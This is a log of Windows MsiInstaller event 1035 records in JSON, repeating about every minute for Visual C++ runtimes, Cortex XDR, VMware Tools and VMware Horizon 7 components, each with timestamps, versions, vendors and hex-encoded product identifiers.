{"@timestamp":1657401070629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171331}}
{"@timestamp":1657401070666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171332}}
{"@timestamp":1657401070693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171333}}
{"@timestamp":1657401130557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171334}}
{"@timestamp":1657401130583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171335}}
{"@timestamp":1657401130634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171336}}
{"@timestamp":1657401130673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171337}}
{"@timestamp":1657401130700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171338}}
{"@timestamp":1657401130731,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171339}}
{"@timestamp":1657401130757,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171340}}
{"@timestamp":1657401130783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171341}}
{"@timestamp":1657401130819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171342}}
{"@timestamp":1657401130845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171343}}
{"@timestamp":1657401190326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171344}}
{"@timestamp":1657401190352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171345}}
{"@timestamp":1657401190401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171346}}
{"@timestamp":1657401190441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171347}}
{"@timestamp":1657401190468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171348}}
{"@timestamp":1657401190498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171349}}
{"@timestamp":1657401190524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171350}}
{"@timestamp":1657401190549,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171351}}
{"@timestamp":1657401190586,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171352}}
{"@timestamp":1657401190612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171353}}
{"@timestamp":1657401250418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171354}}
{"@timestamp":1657401250445,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171355}}
{"@timestamp":1657401250495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171356}}
{"@timestamp":1657401250533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171357}}
{"@timestamp":1657401250561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171358}}
{"@timestamp":1657401250592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171359}}
{"@timestamp":1657401250618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171360}}
{"@timestamp":1657401250645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171361}}
{"@timestamp":1657401250680,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171362}}
{"@timestamp":1657401250708,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171363}}
{"@timestamp":1657401310408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171364}}
{"@timestamp":1657401310436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171365}}
{"@timestamp":1657401310485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171366}}
{"@timestamp":1657401310523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171367}}
{"@timestamp":1657401310551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171368}}
{"@timestamp":1657401310581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171369}}
{"@timestamp":1657401310608,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171370}}
{"@timestamp":1657401310633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171371}}
{"@timestamp":1657401310669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171372}}
{"@timestamp":1657401310696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171373}}
{"@timestamp":1657401370493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171374}}
{"@timestamp":1657401370519,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171375}}
{"@timestamp":1657401370568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171376}}
{"@timestamp":1657401370607,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171377}}
{"@timestamp":1657401370634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171378}}
{"@timestamp":1657401370664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171379}}
{"@timestamp":1657401370690,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171380}}
{"@timestamp":1657401370715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171381}}
{"@timestamp":1657401370751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171382}}
{"@timestamp":1657401370778,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171383}}
{"@timestamp":1657401430421,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171384}}
{"@timestamp":1657401430447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171385}}
{"@timestamp":1657401430497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171386}}
{"@timestamp":1657401430536,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171387}}
{"@timestamp":1657401430564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171388}}
{"@timestamp":1657401430594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171389}}
{"@timestamp":1657401430621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171390}}
{"@timestamp":1657401430647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171391}}
{"@timestamp":1657401430683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171392}}
{"@timestamp":1657401430709,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171393}}
{"@timestamp":1657401490354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171394}}
{"@timestamp":1657401490381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171395}}
{"@timestamp":1657401490432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171396}}
